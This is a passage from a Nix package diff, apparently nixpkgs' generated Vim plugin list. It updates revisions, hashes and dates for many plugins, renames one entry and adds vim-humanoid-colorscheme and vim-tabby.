{ owner = "folke"; repo = "tokyonight.nvim"; - rev = "e3301873c1e96903daebb98cc9b5926810bf73dd"; - sha256 = "18acixjcgqzihb86apc1s8r31yp0lxw804ddwiaygwc2b3drfyx8"; + rev = "610179f7f12db3d08540b6cc61434db2eaecbcff"; + sha256 = "1vdw6rav1y4i4x8pgxh6lgi6d21fvvzkw25maihxh865zrqrsc4v"; }; meta.homepage = "https://github.com/folke/tokyonight.nvim/"; }; @@ -10439,12 +10775,12 @@ final: prev: treesj = buildVimPlugin { pname = "treesj"; - version = "2024-01-17"; + version = "2024-02-09"; src = fetchFromGitHub { owner = "Wansmer"; repo = "treesj"; - rev = "14808da3cddd62fc86ede53a5ea1fd1635897e75"; - sha256 = "0qnkp3x8h956achrc90g0g1nlcnxkl6wcim7q5d4jhipf3ql6w7l"; + rev = "60e27280030f9cd8dfb6ceb335922c6ff76682cc"; + sha256 = "1rrcnldpl9d4fifk48w6sgrar0zhi6pbd6iqildzp3bmhf83smd1"; }; meta.homepage = "https://github.com/Wansmer/treesj/"; }; @@ -10463,12 +10799,12 @@ final: prev: trim-nvim = buildVimPlugin { pname = "trim.nvim"; - version = "2023-10-12"; + version = "2024-02-26"; src = fetchFromGitHub { owner = "cappyzawa"; repo = "trim.nvim"; - rev = "629b96a303a3a0bb5fd050e6cd9d627ca7831cc7"; - sha256 = "1qm4n2biqqiwa0jqf60al969nz135i5pgn2pk123lxprb9q49wq5"; + rev = "17a16c532a0ba1528fe9a4d79015b2843734502d"; + sha256 = "0p4nv4nyand3ksdg8wk8lybph6f9rcnrk4kn5awlih23nx88bsi1"; }; meta.homepage = "https://github.com/cappyzawa/trim.nvim/"; }; @@ -10547,12 +10883,12 @@ final: prev: typescript-vim = buildVimPlugin { pname = "typescript-vim"; - version = "2023-10-08"; + version = "2024-02-04"; src = fetchFromGitHub { owner = "leafgarland"; repo = "typescript-vim"; - rev = "eafdcf5e9ee73b43d92372d69dd84458bf98c5e3"; - sha256 = "1ybc0ppr6xqx5ahg56xfcrs2v0h9dnsblqmgvx5xbz41lirh51h0"; + rev = "e83ccab88c7a045ce795583adb66956afd464a31"; + sha256 = "0zjdwjvp9wk7gb1h569c2h5fsmr41p51wz7k0kiig4xfz1i9s7yg"; }; meta.homepage = "https://github.com/leafgarland/typescript-vim/"; }; @@ -10571,26 +10907,26 @@ final: prev: typst-vim = buildVimPlugin { pname = "typst.vim"; - version = "2024-01-24"; + version = "2024-02-26"; src = fetchFromGitHub { owner = "kaarmu"; repo = "typst.vim"; - rev = "816ba15885cb5eb742e06bafcd53b1a8531d334b"; - sha256 = "092cihsphaxvpimmpzfys64pakrvh23l3zc2r0f3pjzhf69vdsvr"; + rev = "ff57d27cf5ee7427941a63fb537714f9a80e0246"; + sha256 = "038llp0k4n1vnh06wgxf02qjik18as0cg346xz36f0h9hizxf36l"; }; meta.homepage = "https://github.com/kaarmu/typst.vim/"; }; - ultimate-autopair = buildVimPlugin { + ultimate-autopair-nvim = buildVimPlugin { pname = "ultimate-autopair.nvim"; - version = "2024-02-10"; + version = "2024-02-22"; src = fetchFromGitHub { owner = "altermo"; repo = "ultimate-autopair.nvim"; - rev = "25c13e0ce167db0255456cac10158b27d2be30c0"; - sha256 = "16aizsf86cg5l131y2lszlfkdz1b998js89fja8yk25mwa79lsaf"; + rev = "6ecf7461d44513af89f8257f057fcc99e9297612"; + sha256 = "01dj9fdzaliwpxh358dql0ndvnykqn8v9w20b7pkn09p1airq937"; }; - meta.homepage = "https://github.com/altermo/ultimate-autopair.nvim.git"; + meta.homepage = "https://github.com/altermo/ultimate-autopair.nvim/"; }; ultisnips = buildVimPlugin { @@ -10607,12 +10943,12 @@ final: prev: undotree = buildVimPlugin { pname = "undotree"; - version = "2024-01-21"; + version = "2024-02-11"; src = fetchFromGitHub { owner = "mbbill"; repo = "undotree"; - rev = "d9c8b4ef872e078e8c4080812e5a3ed56d151c00"; - sha256 = "1dawzdyrzbiry907i7flqyk5178a18vv9gycxn0g90cd5d5lrrrp"; + rev = "9dbbf3b7d19dda0d22ceca461818e4739ad8154d"; + sha256 = "1avs5cmwcnp5pnyk2d6krsmgqlbd5zf32nwwcxk5ac1mhyx9fcln"; }; meta.homepage = "https://github.com/mbbill/undotree/"; }; @@ -10631,12 +10967,12 @@ final: prev: unison = buildVimPlugin { pname = "unison"; - version = "2024-01-24"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "unisonweb"; repo = "unison"; - rev = "2ab2ef5142b390e99b2280a4b45b24295f58169f"; - sha256 = "1si3aixiwbb80wwdqx5i51h4sqsvvd75bnc0kv6sijc04gl10fj7"; + rev = "d20e9b1fe531a280b6f248a3d0dde1d8fb866491"; + sha256 = "11fxrw31m9bq20gkh30wcfz155wfd9rzmh4if5spxrnfiar8vqh7"; }; meta.homepage = "https://github.com/unisonweb/unison/"; }; @@ -10727,24 +11063,24 @@ final: prev: vifm-vim = buildVimPlugin { pname = "vifm.vim"; - version = "2024-01-20"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "vifm"; repo = "vifm.vim"; - rev = "b187efe0ba367a47d2cc4785fb724c0451a85260"; - sha256 = "1pmmkalyhzq9v8g1ldkvc06jz3nwidr9iwrwkl9phnssn4v9jsr4"; + rev = "8021ee9734e08ace56b5ddf92d929d13b5352509"; + sha256 = "1vbflxjh3x4a4agg7ha6qdxdl843dhk1g522m1ddmlx26w8gxq6c"; }; meta.homepage = "https://github.com/vifm/vifm.vim/"; }; vim-CtrlXA = buildVimPlugin { pname = "vim-CtrlXA"; - version = "2023-05-17"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "Konfekt"; repo = "vim-CtrlXA"; - rev = "6821041f17848c02bd3c0ed13422d6ee6422a6a4"; - sha256 = "0qjv7bkm6gvfisas7cq41dg6fffdnqzyidikfjhab2hzgvslb7kh"; + rev = "1c8621b1b0018d7fbe7cc8ede03595acc7b83a91"; + sha256 = "0zsl85fn5nf2ffmv130nr49zzxspw97k48pdwnh87lbn4rs8pixg"; }; meta.homepage = "https://github.com/Konfekt/vim-CtrlXA/"; }; @@ -11075,12 +11411,12 @@ final: prev: vim-airline = buildVimPlugin { pname = "vim-airline"; - version = "2023-12-26"; + version = "2024-02-17"; src = fetchFromGitHub { owner = "vim-airline"; repo = "vim-airline"; - rev = "ff7352e4bff02eb600a136b6fd741404f3195371"; - sha256 = "16j788ji9a3fj1cfsr5sjhix3dx9fh88g4d50g53dvln5zf201y5"; + rev = "d9f42cb46710e31962a9609939ddfeb0685dd779"; + sha256 = "1a4pcyzvqsmsvz7fxf2h5b4v3xlsqv15qyr35xniji44196aaajc"; }; meta.homepage = "https://github.com/vim-airline/vim-airline/"; }; @@ -11111,12 +11447,12 @@ final: prev: vim-alias = buildVimPlugin { pname = "vim-alias"; - version = "2023-11-18"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "Konfekt"; repo = "vim-alias"; - rev = "4fb8430816ecd12952c44bf1891ec554249f21b3"; - sha256 = "0919drb2ml1xfm3y2g9nvqh6l3n2hjmsbrw6g72lgqh7l02xlalz"; + rev = "2acc37348d744fc600ba91cec6aa34a24ed77d42"; + sha256 = "14a43m6zjzsgs2chd7sm5w8xnjs0a5d735m5r3zjyfvcs884pv0k"; }; meta.homepage = "https://github.com/Konfekt/vim-alias/"; }; @@ -11147,12 +11483,12 @@ final: prev: vim-apm = buildVimPlugin { pname = "vim-apm"; - version = "2024-01-25"; + version = "2024-02-03"; src = fetchFromGitHub { owner = "ThePrimeagen"; repo = "vim-apm"; - rev = "a4f52e65c3af4282508ba0db0e33c45bbc371968"; - sha256 = "004fy3v1nxjhiiv0kd2ahfbbngdkmkrpr97s5q6aaa8mykgs7rfr"; + rev = "96d452bb97c7b147b87edf75b53d5d724fb4bf64"; + sha256 = "106rjqi3wg1yn62szi7v5xyira2qz5l5fc987n2abddakqr5ivhp"; }; meta.homepage = "https://github.com/ThePrimeagen/vim-apm/"; }; @@ -11231,12 +11567,12 @@ final: prev: vim-autoformat = buildVimPlugin { pname = "vim-autoformat"; - version = "2023-08-26"; + version = "2024-02-07"; src = fetchFromGitHub { owner = "vim-autoformat"; repo = "vim-autoformat"; - rev = "99dc8d5030945c01a7e04b1e44d107a9bd15af67"; - sha256 = "00a1j7snyz0gc3pxks26axhdwcbd5iqs9s2crhs6vwvcj5fymmr1"; + rev = "38a01acb7471d276ecf5970ab4fd58bfebb9ea06"; + sha256 = "1f9cppm7x0vyxcch256lm0m7k2wj3njpp62b9xlphw8cwyqx45dp"; }; meta.homepage = "https://github.com/vim-autoformat/vim-autoformat/"; }; @@ -11303,12 +11639,12 @@ final: prev: vim-be-good = buildVimPlugin { pname = "vim-be-good"; - version = "2022-11-08"; + version = "2024-01-31"; src = fetchFromGitHub { owner = "ThePrimeagen"; repo = "vim-be-good"; - rev = "c290810728a4f75e334b07dc0f3a4cdea908d351"; - sha256 = "1xnydbqyjrmwj7cpj3qcr1icg8v75ny847i1qpj94dafjzzmi4wl"; + rev = "4fa57b7957715c91326fcead58c1fa898b9b3625"; + sha256 = "06smpsv72740f3i26svsa4nqd5ld357r62nns1cdw2zqcvf6llax"; }; meta.homepage = "https://github.com/ThePrimeagen/vim-be-good/"; }; @@ -11783,12 +12119,12 @@ final: prev: vim-dadbod = buildVimPlugin { pname = "vim-dadbod"; - version = "2023-11-23"; + version = "2024-02-26"; src = fetchFromGitHub { owner = "tpope"; repo = "vim-dadbod"; - rev = "738cfc2ea6a1510fe23cba9006fef9291be70f7b"; - sha256 = "1j3kga4iy6n8814j33zpxxyk4z7lxwqdnjdd70mhpybiw9ydazny"; + rev = "acb78e078dc4fe1e997ebf006be17aa3766d2ef4"; + sha256 = "0bfyj49wkdlila4qnf9ymf06z8kzfx74f932yvg1n4b25m1gyqf0"; }; meta.homepage = "https://github.com/tpope/vim-dadbod/"; }; @@ -11891,12 +12227,12 @@ final: prev: vim-dirvish = buildVimPlugin { pname = "vim-dirvish"; - version = "2024-01-24"; + version = "2024-02-20"; src = fetchFromGitHub { owner = "justinmk"; repo = "vim-dirvish"; - rev = "0966b866580ec5cc8fbc26ee396a516d72600db5"; - sha256 = "0jmpjrx4kl11hgdaiw5wxfznmn5apl38ykih0mm01hcg49gzirsw"; + rev = "b660af1fa07fe1d44d4eb3ea5242334f6c2766ca"; + sha256 = "1h0ypp7fp47dk8sj1xgrm9113cgsvdczmfilbrix5rmm9b0jph2i"; }; meta.homepage = "https://github.com/justinmk/vim-dirvish/"; }; @@ -11915,12 +12251,12 @@ final: prev: vim-dispatch = buildVimPlugin { pname = "vim-dispatch"; - version = "2023-02-05"; + version = "2024-02-18"; src = fetchFromGitHub { owner = "tpope"; repo = "vim-dispatch"; - rev = "6cc2691576f97d43f8751664d1a1a908b99927e5"; - sha256 = "151fxvhz6pi021rg9bc2g564a13lvbcwh3lpa4vl3g5w9j95pmv3"; + rev = "4c695bc052cad2ae6b980aebbe48d046466e27ae"; + sha256 = "13c63n7gylny2s84k05cpl4cjn070d3qk6yagxny23yanz29hc15"; }; meta.homepage = "https://github.com/tpope/vim-dispatch/"; }; @@ -12143,12 +12479,12 @@ final: prev: vim-eunuch = buildVimPlugin { pname = "vim-eunuch"; - version = "2024-01-16"; + version = "2024-02-04"; src = fetchFromGitHub { owner = "tpope"; repo = "vim-eunuch"; - rev = "084946fb1c8103ae0cb7342e9be3a2c69374958c"; - sha256 = "0wp0a4zssmjmclsvzk3w2r65sxllfivbb5mfqd6yrazfg6vssdw0"; + rev = "8fb3904be27b6b60d086f87c2570085902414069"; + sha256 = "1icir4spx0hj4zp2ps26v9q2jgbqi9fw4anhn6k48n8ahgvim614"; }; meta.homepage = "https://github.com/tpope/vim-eunuch/"; }; @@ -12275,12 +12611,12 @@ final: prev: vim-floaterm = buildVimPlugin { pname = "vim-floaterm"; - version = "2023-11-19"; + version = "2024-02-29"; src = fetchFromGitHub { owner = "voldikss"; repo = "vim-floaterm"; - rev = "3f01a623376957437f9376327637491b74719e38"; - sha256 = "16az2qg9a3r466b9s4agqvxnsx99wpqlw8kn8dxcg94hxrgg35dc"; + rev = "c0535d758004bcce016839e318cbbe802b92c469"; + sha256 = "16ds8cc1qj8q0nkzdy35difq49jhbwhji3hlgksyg4phm8m54zja"; }; meta.homepage = "https://github.com/voldikss/vim-floaterm/"; }; @@ -12347,12 +12683,12 @@ final: prev: vim-fugitive = buildVimPlugin { pname = "vim-fugitive"; - version = "2024-01-19"; + version = "2024-02-24"; src = fetchFromGitHub { owner = "tpope"; repo = "vim-fugitive"; - rev = "854a8df0d06b8d3fcb30fa7f2b08c62b553eee3b"; - sha256 = "0bzsm454bbxyjxfiwjgx5hydhia0i04y895am0m5rl2vbbyykkmq"; + rev = "2e88f14a585c014691904ba8fe39e6ea851c9422"; + sha256 = "1218q9q6za9zlc383f6v2k6grl0sbsdc6rfi5cwssypp6npcmyfm"; }; meta.homepage = "https://github.com/tpope/vim-fugitive/"; }; @@ -12383,12 +12719,12 @@ final: prev: vim-gh-line = buildVimPlugin { pname = "vim-gh-line"; - version = "2022-11-25"; + version = "2024-02-19"; src = fetchFromGitHub { owner = "ruanyl"; repo = "vim-gh-line"; - rev = "fbf368bdfad7e5478009a6dc62559e6b2c72d603"; - sha256 = "0phxvn08z5bwdq0hkan9l1rl94ylsjc2hhv1ahzqvda0rk8lqxj9"; + rev = "731751fdfa4f64a061dbc7088cb7b2f12e0828ad"; + sha256 = "06malyx56zswpzf399y7bsxw45fx2ys9ravdqqxgssvgsslq87fb"; }; meta.homepage = "https://github.com/ruanyl/vim-gh-line/"; }; @@ -12503,12 +12839,12 @@ final: prev: vim-go = buildVimPlugin { pname = "vim-go"; - version = "2024-01-22"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "fatih"; repo = "vim-go"; - rev = "ca6c532753e70e4fb093e755773cc6f250a3b4b3"; - sha256 = "0pfizf55abw1rbdrsyw9g65cia165irnj2f0snx7qmg194bgblqg"; + rev = "744aa9911aa6a86cff494a57efc22ca0e3d7e16b"; + sha256 = "0hmn0n78r1x9hgv7k329aizfysdjadvkarmn727n5p6cr0kwf4wg"; }; meta.homepage = "https://github.com/fatih/vim-go/"; }; @@ -12539,12 +12875,12 @@ final: prev: vim-grepper = buildVimPlugin { pname = "vim-grepper"; - version = "2021-08-30"; + version = "2024-02-04"; src = fetchFromGitHub { owner = "mhinz"; repo = "vim-grepper"; - rev = "2b93535752ffcb312f9fab73d90e80dc9f2e60fc"; - sha256 = "1xldg5hkbapd9s842d3xpdw32sslr8lvfx12p03hrlc2w58innx1"; + rev = "485d349125d46f2788833ecb43df7a14c46706f6"; + sha256 = "0kkrkf8p3pxknavksj5bfxcs9wxjy5yscb45as41h85lgmmsfccs"; }; meta.homepage = "https://github.com/mhinz/vim-grepper/"; }; @@ -12659,12 +12995,12 @@ final: prev: vim-helm = buildVimPlugin { pname = "vim-helm"; - version = "2023-11-22"; + version = "2024-02-05"; src = fetchFromGitHub { owner = "towolf"; repo = "vim-helm"; - rev = "fc2259e1f8836304a0526853ddc3fe27045be39a"; - sha256 = "10al5is3x2a2383023rn8p9q056mgsc6dhyblxj48xb32rsmlf23"; + rev = "86cc6766db60b8cc5731068d0c2111dee1f2b328"; + sha256 = "0b7fxf43v8px2d4vfhj1b8d2scrr6h8dr9hfg6y7k1yk9jainsy9"; }; meta.homepage = "https://github.com/towolf/vim-helm/"; }; @@ -12696,12 +13032,12 @@ final: prev: vim-highlightedyank = buildVimPlugin { pname = "vim-highlightedyank"; - version = "2023-03-19"; + version = "2024-01-28"; src = fetchFromGitHub { owner = "machakann"; repo = "vim-highlightedyank"; - rev = "fa3f57b097e9521ce41a66b6c7cf5d9adea70ea3"; - sha256 = "1fgbih8m7drr8ik34c5vpmd8qs3vdshixni42nih6ls6gzcv7l7z"; + rev = "afb0f262b490706c23e94012c2ab9fa67c0481ce"; + sha256 = "0m68f1c5b1qfdb5mcqmnm9qfjrz9f1hh5nnjzymsrb04fsjv3i2r"; }; meta.homepage = "https://github.com/machakann/vim-highlightedyank/"; }; @@ -12766,6 +13102,18 @@ final: prev: meta.homepage = "https://github.com/jonsmithers/vim-html-template-literals/"; }; + vim-humanoid-colorscheme = buildVimPlugin { + pname = "vim-humanoid-colorscheme"; + version = "2021-11-21"; + src = fetchFromGitHub { + owner = "humanoid-colors"; + repo = "vim-humanoid-colorscheme"; + rev = "ce4fa890a2b8a32f4747eb951e93050100548fba"; + sha256 = "1650ymvma30zyq2hl9x5z7ql11wakjgq6jarc6vxbrpgvbz0f9c8"; + }; + meta.homepage = "https://github.com/humanoid-colors/vim-humanoid-colorscheme/"; + }; + vim-husk = buildVimPlugin { pname = "vim-husk"; version = "2015-11-29"; @@ -12816,12 +13164,12 @@ final: prev: vim-illuminate = buildVimPlugin { pname = "vim-illuminate"; - version = "2023-10-06"; + version = "2024-02-04"; src = fetchFromGitHub { owner = "RRethy"; repo = "vim-illuminate"; - rev = "3bd2ab64b5d63b29e05691e624927e5ebbf0fb86"; - sha256 = "0x3li63dijw9z4imbajpxbrclw32649810bsnx5cawrqgbc7kl99"; + rev = "305bf07b919ac526deb5193280379e2f8b599926"; + sha256 = "1pmzh7pz23dl6jmcify9494jwgyi2jfjkg0l95cxfrbjqghjxli8"; }; meta.homepage = "https://github.com/RRethy/vim-illuminate/"; }; @@ -13081,12 +13429,12 @@ final: prev: vim-just = buildVimPlugin { pname = "vim-just"; - version = "2024-01-25"; + version = "2024-02-08"; src = fetchFromGitHub { owner = "NoahTheDuke"; repo = "vim-just"; - rev = "6d95cd79c40d82d26f2ca887494d01e8a7e90d6e"; - sha256 = "06sx968r78nx7nmlrh8m9f45l0wpq251p7097r7ygxjn3da3l5rq"; + rev = "974b16e257e2d30d94ec954d815ff2755fa229fb"; + sha256 = "0n0n9dgcp7fqc299khjddn661sv0pbbc17qsnnqwqh2fmdfpdnpc"; }; meta.homepage = "https://github.com/NoahTheDuke/vim-just/"; }; @@ -13309,12 +13657,12 @@ final: prev: vim-lsp = buildVimPlugin { pname = "vim-lsp"; - version = "2024-01-20"; + version = "2024-02-25"; src = fetchFromGitHub { owner = "prabirshrestha"; repo = "vim-lsp"; - rev = "c20c6650d32a85e09ae6c7a9747aef7ded3677fb"; - sha256 = "1farhbqp06dkjh480lv07yvgwnmikaaagr5mpwwjrmws3m92xmv4"; + rev = "f7ccf006df1aefd327c0e2c55cc8632a2db577c1"; + sha256 = "11hnym6gzvss1pwjxqsbg4f1h56hsnaypl35bd084lxhim7fz6zl"; }; meta.homepage = "https://github.com/prabirshrestha/vim-lsp/"; }; @@ -13345,12 +13693,12 @@ final: prev: vim-lsp-settings = buildVimPlugin { pname = "vim-lsp-settings"; - version = "2024-01-06"; + version = "2024-02-28"; src = fetchFromGitHub { owner = "mattn"; repo = "vim-lsp-settings"; - rev = "223c7382e53ba5017c6b1b1edebccae6ab8265ab"; - sha256 = "0x5jgswz09gf958qnry01bn9sdccjv3rilajlfbhac20vhs4izm0"; + rev = "2bdd9757e71384eab3b5eaec846a194cf70ae5f3"; + sha256 = "1c5bsnb1nv88m9rz2ks90c2laqwkkf0ac8h4kzqx7kxc6as8xin5"; }; meta.homepage = "https://github.com/mattn/vim-lsp-settings/"; }; @@ -13429,12 +13777,12 @@ final: prev: vim-markdown = buildVimPlugin { pname = "vim-markdown"; - version = "2023-11-01"; + version = "2024-03-01"; src = fetchFromGitHub { owner = "preservim"; repo = "vim-markdown"; - rev = "46add6c3017d3e4035dc10ffa9cb54221d8dfe1a"; - sha256 = "06kkknpmj4ylx13f3rmfsz9f3psq637dp71lda00g1v7r6w86wbp"; + rev = "a657e697376909c41475a686eeef7fc7a4972d94"; + sha256 = "11f26n433fvsih2b31b7ffanxfhgjnjvdkjvviav2ryc5dvidb3q"; }; meta.homepage = "https://github.com/preservim/vim-markdown/"; }; @@ -13466,12 +13814,12 @@ final: prev: vim-matchup = buildVimPlugin { pname = "vim-matchup"; - version = "2024-01-06"; + version = "2024-02-24"; src = fetchFromGitHub { owner = "andymass"; repo = "vim-matchup"; - rev = "e2cca1747ab175b8d839a5d28679427564643a57"; - sha256 = "1clcvb6r1vfkajj9jd8hmvi1vx0vclyppj2vh7sjy9mpbn9xpggg"; + rev = "2d660e4aa7c566014c667af2cda0458043527902"; + sha256 = "0a5527gmwf0chdn91s2s8pa7iny3qa5a88c413g4vwch12mn2vrj"; }; meta.homepage = "https://github.com/andymass/vim-matchup/"; }; @@ -13502,12 +13850,12 @@ final: prev: vim-merginal = buildVimPlugin { pname = "vim-merginal"; - version = "2023-08-27"; + version = "2024-02-28"; src = fetchFromGitHub { owner = "idanarye"; repo = "vim-merginal"; - rev = "a4becdf09178c3c557b7069252b6df617ff04de3"; - sha256 = "060fcdbscb0984ma9pqjlv4jmrmqks2lmg0jffbw6zzw1fs4c72q"; + rev = "8c4a549235a226805f86539b810259356c4bfc22"; + sha256 = "1fpxlgp57wc5zmm3n9r974w4d282148hspjyp8iw1gf1jxgf20jc"; }; meta.homepage = "https://github.com/idanarye/vim-merginal/"; }; @@ -13718,12 +14066,12 @@ final: prev: vim-nix = buildVimPlugin { pname = "vim-nix"; - version = "2024-01-09"; + version = "2024-02-24"; src = fetchFromGitHub { owner = "LnL7"; repo = "vim-nix"; - rev = "048c71f1ed2c679cd55acd2c807c2c96aea82e65"; - sha256 = "1s75divbphd7qgkljj2bl32gb1q7a23r4g023x6v83qzkfxwl8i3"; + rev = "e25cd0f2e5922f1f4d3cd969f92e35a9a327ffb0"; + sha256 = "15k08hl1xls2zxa9sgsjygb6j8643pc0s0fpi05bfldf9z4mxzyv"; }; meta.homepage = "https://github.com/LnL7/vim-nix/"; }; @@ -14090,12 +14438,12 @@ final: prev: vim-plug = buildVimPlugin { pname = "vim-plug"; - version = "2023-04-01"; + version = "2024-02-24"; src = fetchFromGitHub { owner = "junegunn"; repo = "vim-plug"; - rev = "ca0ae0a8b1bd6380caba2d8be43a2a19baf7dbe2"; - sha256 = "1ay2f1liya4ycf7ybiqhz02sywxkw7vhschl2kwl5hvxjahpi9p7"; + rev = "2f8f04cf79f424aab8c2372d8e0b89099e3dba65"; + sha256 = "03jvf9fcz5894g990jbmn7mr9afl07fkglph2lz3b5015i6ywy08"; }; meta.homepage = "https://github.com/junegunn/vim-plug/"; }; @@ -14198,12 +14546,12 @@ final: prev: vim-projectionist = buildVimPlugin { pname = "vim-projectionist"; - version = "2024-01-03"; + version = "2024-02-26"; src = fetchFromGitHub { owner = "tpope"; repo = "vim-projectionist"; - rev = "a57b9bf11ecfef16f767034550472830b48ad3e2"; - sha256 = "073sfw5hs8622qs3g6dw8k20ghlxlxg7jq32b9zkcgj2l7ngc3sz"; + rev = "afc737df8cb62bf630813edb84fd344b025b8b1a"; + sha256 = "1kfn7arvdmyd0wc5kvb2hykwy7h44d2i4psmy70z6h6iy8lhhd42"; }; meta.homepage = "https://github.com/tpope/vim-projectionist/"; }; @@ -14366,12 +14714,12 @@ final: prev: vim-rails = buildVimPlugin { pname = "vim-rails"; - version = "2023-09-11"; + version = "2024-02-11"; src = fetchFromGitHub { owner = "tpope"; repo = "vim-rails"; - rev = "1ad9663ce31e8c08134849d04184cda94bb42aba"; - sha256 = "0kp2vbx5qfd86cmzrsnmgbpi3r07wpn5j6gn1gxgkh09xngf93nl"; + rev = "3a155462d1c346e291595400ca238037d02a357f"; + sha256 = "0zz510l1ncv3abax76s99cfpc6r6vvb81hnhxzyx4nzgwqzm0qag"; }; meta.homepage = "https://github.com/tpope/vim-rails/"; }; @@ -14462,12 +14810,12 @@ final: prev: vim-sandwich = buildVimPlugin { pname = "vim-sandwich"; - version = "2022-12-07"; + version = "2024-02-04"; src = fetchFromGitHub { owner = "machakann"; repo = "vim-sandwich"; - rev = "c5a2cc438ce6ea2005c556dc833732aa53cae21a"; - sha256 = "1b1rim7q398dnwdaqakcycvyvw04rw32k10ij7w7mqpbn9hklpm5"; + rev = "2ce54d26564e66a675685c8a3331388b2747a26b"; + sha256 = "172dmnb9scblsin4adx0jdw2nc9ygw4icid6i4d6q2hjak9gvd79"; }; meta.homepage = "https://github.com/machakann/vim-sandwich/"; }; @@ -14654,12 +15002,12 @@ final: prev: vim-slime = buildVimPlugin { pname = "vim-slime"; - version = "2024-01-25"; + version = "2024-01-26"; src = fetchFromGitHub { owner = "jpalardy"; repo = "vim-slime"; - rev = "4174e7505019c37f754af0717b2c8b75a80193f2"; - sha256 = "1zfjy48s4w2b7sjpgb97sy7blwbf3d91z51id4pnzdi23dzcs5g0"; + rev = "1feef68f237cb840a7220f83c24b6c60bf914eb5"; + sha256 = "1swq6am7jlk52sizgcxcq9lbpqvvwbjnl7rib8s9rwmqy7iaqp64"; }; meta.homepage = "https://github.com/jpalardy/vim-slime/"; }; @@ -14738,12 +15086,12 @@ final: prev: vim-sneak = buildVimPlugin { pname = "vim-sneak"; - version = "2023-07-12"; + version = "2024-02-21"; src = fetchFromGitHub { owner = "justinmk"; repo = "vim-sneak"; - rev = "29ec9167d4a609f74c130b46265aa17eb2736e6a"; - sha256 = "1n7y5i8zbr04n48n0l4k1xp76pgrbd2lx0pnj4278ply88hgfg9f"; + rev = "c13d0497139b8796ff9c44ddb9bc0dc9770ad2dd"; + sha256 = "06dlfp0bdnbb75didd52f03r9y8r7g6wh5bc10m2g00zbnfs3mcx"; }; meta.homepage = "https://github.com/justinmk/vim-sneak/"; }; @@ -14762,12 +15110,12 @@ final: prev: vim-snippets = buildVimPlugin { pname = "vim-snippets"; - version = "2024-01-24"; + version = "2024-02-24"; src = fetchFromGitHub { owner = "honza"; repo = "vim-snippets"; - rev = "9bd88e07865bd4fa982d46356c227b07de66412a"; - sha256 = "0xy0arqhcndasd4gmh7qbr8aw0ssxgaqy261nzib7f0gd21ig6j4"; + rev = "393d980157b8149b3ff65a48bc4aae24dca9c846"; + sha256 = "0fkygzr5srgyyv59glawi9a2j47b57sp20ak9q4qa3izf0z8pk94"; }; meta.homepage = "https://github.com/honza/vim-snippets/"; }; @@ -14846,12 +15194,12 @@ final: prev: vim-startuptime = buildVimPlugin { pname = "vim-startuptime"; - version = "2023-06-03"; + version = "2024-02-17"; src = fetchFromGitHub { owner = "dstein64"; repo = "vim-startuptime"; - rev = "454b3de856b7bd298700de33d79774ca9b9e3875"; - sha256 = "0zs9bp9bdf29jxkld7sff2x85y7pmi7f6am4hvzd9anhch9gnm7j"; + rev = "308b0088a864c4711a96e45b6734cf9294074f65"; + sha256 = "0x9vgca4zb3nwnir69df21x1qxar2yf0bshq68rxfswlc00djwy4"; }; meta.homepage = "https://github.com/dstein64/vim-startuptime/"; }; @@ -14952,6 +15300,18 @@ final: prev: meta.homepage = "https://github.com/machakann/vim-swap/"; }; + vim-tabby = buildVimPlugin { + pname = "vim-tabby"; + version = "2024-02-01"; + src = fetchFromGitHub { + owner = "TabbyML"; + repo = "vim-tabby"; + rev = "0b62bc2ed5c7d930c7435c3504d5c18ea6379b28"; + sha256 = "06crxhvwz04s6sfj0q22kkp3g5zvip13088m95qwznw9bv2gpx3s"; + }; + meta.homepage = "https://github.com/TabbyML/vim-tabby/"; + }; + vim-table-mode = buildVimPlugin { pname = "vim-table-mode"; version = "2023-10-29"; @@ -15014,12 +15374,12 @@ final: prev: vim-terraform = buildVimPlugin { pname = "vim-terraform"; - version = "2024-01-23"; + version = "2024-02-13"; src = fetchFromGitHub { owner = "hashivim"; repo = "vim-terraform"; - rev = "3d1cfc8e183f1a58f71587442849510462f5857b"; - sha256 = "0nsyv4pasavp8iaakl9l4vybpwxvkxaimzv7rzb51v9m03r6jqyx"; + rev = "21f756b933cd11ac5990a6046fdc7c4e2a6c0aee"; + sha256 = "1bp6nqsdn9h3ihy5y2na7n40nmjr1vqsjj845ks4kfrzfcsvmxms"; }; meta.homepage = "https://github.com/hashivim/vim-terraform/"; }; @@ -15039,12 +15399,12 @@ final: prev: vim-test = buildVimPlugin { pname = "vim-test"; - version = "2024-01-23"; + version = "2024-01-26"; src = fetchFromGitHub { owner = "vim-test"; repo = "vim-test"; - rev = "1f4ee3307e266a64b00d816c727fdaa57b34ada3"; - sha256 = "0y361p1dc5nmv622ml6j5bw3f7ccpwa56jzjfnjhd069qi8xkvrp"; + rev = "46d2067586b788e2194e812bbfdbb2061b93a5ee"; + sha256 = "150wl2gky4v4qs9czag3q64p4xcp1x53dyy5dkiyz2bwalphwv01"; }; meta.homepage = "https://github.com/vim-test/vim-test/"; }; @@ -15219,12 +15579,12 @@ final: prev: vim-tpipeline = buildVimPlugin { pname = "vim-tpipeline"; - version = "2023-10-13"; + version = "2024-02-18"; src = fetchFromGitHub { owner = "vimpostor"; repo = "vim-tpipeline"; - rev = "bff212497e0873ef7c97bd1e3d59cf57d6627581"; - sha256 = "1zpn2l7lzi03glmficfs1jwk7d9c5jn2pp63m818h8810dhicalr"; + rev = "649f079a0bee19565978b82b672d831c6641d952"; + sha256 = "16lyavpy8qh06l03jqs7klyja3nqs3ynjfy7y8xjmlqa4mgfcffn"; }; meta.homepage = "https://github.com/vimpostor/vim-tpipeline/"; }; @@ -15363,12 +15723,12 @@ final: prev: vim-visual-multi = buildVimPlugin { pname = "vim-visual-multi"; - version = "2024-01-22"; + version = "2024-02-22"; src = fetchFromGitHub { owner = "mg979"; repo = "vim-visual-multi"; - rev = "e67f7fa011c98fc5426352d3bb06362a0f70af3c"; - sha256 = "052hb8ly7yxaylaqmlb7nwnwsjn2sbhr76k3fr618zn9p4nqa3df"; + rev = "fe1ec7e430013b83c8c2dee85ae496251b71e253"; + sha256 = "0mvirqq1gmp2270bm92fk3c4d96r2jlkl2s36pm1d00b7vd3vpll"; }; meta.homepage = "https://github.com/mg979/vim-visual-multi/"; }; @@ -15459,11 +15819,11 @@ final: prev: vim-wakatime 